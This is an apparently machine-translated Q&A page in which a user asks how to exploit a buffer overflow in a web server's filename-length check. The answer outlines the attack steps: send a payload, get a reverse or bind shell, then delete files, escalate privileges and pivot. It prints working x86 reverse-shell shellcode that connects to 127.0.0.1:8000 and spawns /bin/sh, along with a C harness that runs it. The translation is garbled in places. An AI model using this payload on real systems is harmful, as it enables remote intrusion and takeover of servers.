Security 需要利用缓冲区溢出攻击破坏web服务器

Security 需要利用缓冲区溢出攻击破坏web服务器,security,buffer,overflow,buffer-overflow,Security,Buffer,Overflow,Buffer Overflow,我有一个webserver.c文件,我已经知道错误是什么。这部分内容包括: int check_filename_length(byte len) { if (len < 100) return 1; return 0; } 我也不确定我是否完全理解上面的例子,所以任何提示都将不胜感激 一般步骤 首先,您的服务器必须运行,并且您的服务器请求应该由易受攻击的代码执行 您的有效负载有两个主要部分:自定义攻击代码和获得控制后要执行的代码,

我有一个webserver.c文件,我已经知道错误是什么。这部分内容包括:

    int check_filename_length(byte len) {
      if (len < 100)
        return 1;
      return 0;
    }
我也不确定我是否完全理解上面的例子,所以任何提示都将不胜感激

一般步骤

首先,您的服务器必须运行,并且您的服务器请求应该由易受攻击的代码执行 您的有效负载有两个主要部分:自定义攻击代码和获得控制后要执行的代码,例如反向shell、绑定shell。 处理有效负载后,如果您使用绑定外壳漏洞,将在同一服务器中打开一个端口,您可以在其中绑定外壳/流量计等。如果您使用反向外壳,服务器将连接到具有硬编码地址的特定计算机。 一旦您拥有shell访问权限,您可以根据您的用户级别执行任何操作,例如删除文件、升级权限、透视
当然,您需要编译C源代码并生成有效负载。如果攻击是远程的,则必须向服务器发送带有有效负载的请求。否则,您需要先访问服务器用户权限/而不是根用户权限,然后通过向易受攻击的进程传递一些利用漏洞参数,尝试将权限升级到程序根用户权限。

尝试这些视频,它们可能会有帮助:。我的答案也用来看看记忆是如何影响的。
    char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80"
           "\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd"
           "\x80\x89\xc2\x68\x7f\x00\x00\x01\x68"
           "\x00\x02\x1f\x40\x89\xe0\x6a\x10\x50"
           "\x52\x31\xc0\xb0\x62\x50\xcd\x80\xb1"
           "\x03\x31\xdb\x53\x52\xb0\x5a\x50\xcd"
           "\x80\x43\xe2\xf6\x31\xc0\x50\x68\x6e"
           "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
           "\xe3\x53\x50\x54\x53\xb0\x3b\x50\xcd"
           "\x80\x31\xc0\x50\x50\xcd\x80";

    int main(int argc, char **argv) {

          /* used to get ip:port combo for pushes */
            char *ip_addr = "127.0.0.1"; // watch for addresses that create \x00 and others
            int port = 8000;
            struct sockaddr_in dest;

            printf("IP: %s\n", ip_addr);
            printf("PORT: %d\n", port);

            dest.sin_family = AF_INET;
            dest.sin_port=htons(port);
            dest.sin_addr.s_addr = inet_addr(ip_addr);

            printf("push 0x%x\t; host\n", dest.sin_addr.s_addr);
            printf("push 0x%x02AA\t; port\n", dest.sin_port);

            int (*func)();
            printf("Bytes: %d\n", sizeof(code));
            func = (int (*)()) code;
            (int)(*func)();
    }

    */